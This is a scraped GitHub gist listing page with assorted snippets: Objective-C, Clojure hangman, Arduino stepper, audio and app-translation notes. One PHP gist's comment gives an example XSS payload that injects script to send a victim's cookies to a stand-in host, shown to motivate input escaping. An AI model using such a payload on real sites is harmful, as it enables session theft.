Skip to content

Instantly share code, notes, and snippets.

@johnmckerrell
johnmckerrell / StringDictionarySubstitution
Created July 15, 2013 11:22
Example of some Objective C I'd like to write
NSDictionary *params = @{
@"vals" : @{
@"flip" : @"1",
@"mirror" : @"0"
}
};
NSString *flipCommand = @"command.cgi?flip={self.vals.flip}&mirror={self.vals.mirror}"
[flipCommand stringByMagicallyApplyingKeyPathsToADictionary:params];
@johnmckerrell
johnmckerrell / Hangman.clj
Last active October 19, 2017 01:16
Very basic clojure Hangman using recursion
(ns hangman.core
(:gen-class)
(:require [clojure.string :as str]))
(defn is_char_in_words?
"Is the char in the words?"
[ch words]
(if (= ch "")
false
(> (.indexOf words ch) -1)
@johnmckerrell
johnmckerrell / Translations
Last active December 10, 2015 10:28
I'd like to get these words translated into Spanish, ideally by a native Spaniard.
Translations for Comedy GPS iPhone app
The iPhone app acts as a GPS but rather than giving turn-by-turn directions it simply tells you if you're getting hotter or colder. Background of the app changes from blue to red as you get closer and the latest version has added a smiley fact that goes from unhappy to happy as you get closer.
"Smile?" - This is shown on a settings screen and turns on and off the smiley face.
"Comedy GPS" - This is the name of the app, "Funny GPS" may also work, there's only enough space for around 13 characters.
"Added smiley face indicator! French & German Support." - Description of what's new in this version.
@johnmckerrell
johnmckerrell / WhereDialJosette.md
Created October 22, 2012 10:05
WhereDial Josette Post

I looked at the time and realised the afternoon had flown by, my other half would be home soon. I was just about to get up and put the kettle on when I spotted she was still in work. How did I know? It was obvious from my WhereDial. I started to worry that we'd be eating late but the dial started moving and came to rest on "Travelling". Not such a late one after all. I'd learnt the pattern a long while ago. It would tick round to "Station", back to "Travelling" and then once it hit "Station" again it was time to put the kettle on as she'd be through the door shortly after.

This might sound like an odd story if you've never come across the WhereDial but a story similar to this has been playing out regularly in my house since I came up with the idea for the WhereDial. The original concept came about when I was working to promote my MapMe.At site and attended an Arduino hack day - Howduino - in Liverpool. I couldn't think of anything to make and someone suggested I make a location clock "like in the Harry Potte

@johnmckerrell
johnmckerrell / AjaxChecker.js
Created January 12, 2012 16:43
Code to retrieve an XMLHTTPRequest object or fail
var xmlhttp;
if( ! xmlhttp && typeof XMLHttpRequest != 'undefined' ) {
try {
xmlhttp = new XMLHttpRequest();
} catch (e) {
xmlhttp = undefined;
}
}
if( ! xmlhttp && window.ActiveXObject ) {
try {
@johnmckerrell
johnmckerrell / StepperMotor.c
Created January 10, 2012 17:18
Stepper Motor Settings
#include <Stepper.h>
const int stepsPerRevolution = 2048; // change this to fit the number of steps per revolution
// for your motor
// initialize the stepper library on pins 8 through 11:
Stepper myStepper(stepsPerRevolution, 7,5,6,4);
void setup() {
// set the speed at 60 rpm:
@johnmckerrell
johnmckerrell / pealocode.php
Created January 9, 2012 15:07
Original PealoCode
/**
* Defend from malicious input by using addslashes
* A malicious user could craft a form that injected JavaScript into these hidden form fields, e.g.:
* <input type="hidden" name="naughty" value="&quot;><script>var img = new Image(); img.src='http://naughtysite.com/submitcookies.php?cookies='+document.cookies;</script>">
*/
while (list($key, $val) = each($_POST)) {
if ($key != 'Submit') {
echo '<input type="hidden" name="' . htmlentities($key) . '" value="' . htmlentities($val) . '" />';
@johnmckerrell
johnmckerrell / SiriProxyError
Created December 3, 2011 16:56
SiriProxy Error message
Create server for iPhone connection
Assertion failed: (e > 0), function SslContext_t, file ssl.cpp, line 162.
/Users/john/.rvm/bin/rvmsudo: line 46: 58439 Abort trap
@johnmckerrell
johnmckerrell / foodemo
Created August 8, 2011 15:44
Foo this demo
var blah = 'foo';
var myObject = {blah: 'I am myObject.foo'};
var sayFoo = function() {
console.log(this['blah']);
};
// give myObject a sayFoo property and have it point to sayFoo function
myObject.sayFoo = sayFoo;
myObject.sayFoo(); // logs 'I am myObject.foo' 12
@johnmckerrell
johnmckerrell / PCMPlay.m
Created February 24, 2011 13:40
Code to play a buffer of ADPCM IMA4 data
OSStatus s;
if (!self.aq) {
AudioStreamBasicDescription asbd;
asbd.mSampleRate = 8000;
asbd.mFormatID = kAudioFormatAppleIMA4;
asbd.mFormatFlags = 0;
asbd.mBytesPerPacket = 0;
asbd.mFramesPerPacket = 0;
asbd.mBytesPerFrame = 0;
asbd.mChannelsPerFrame = 1;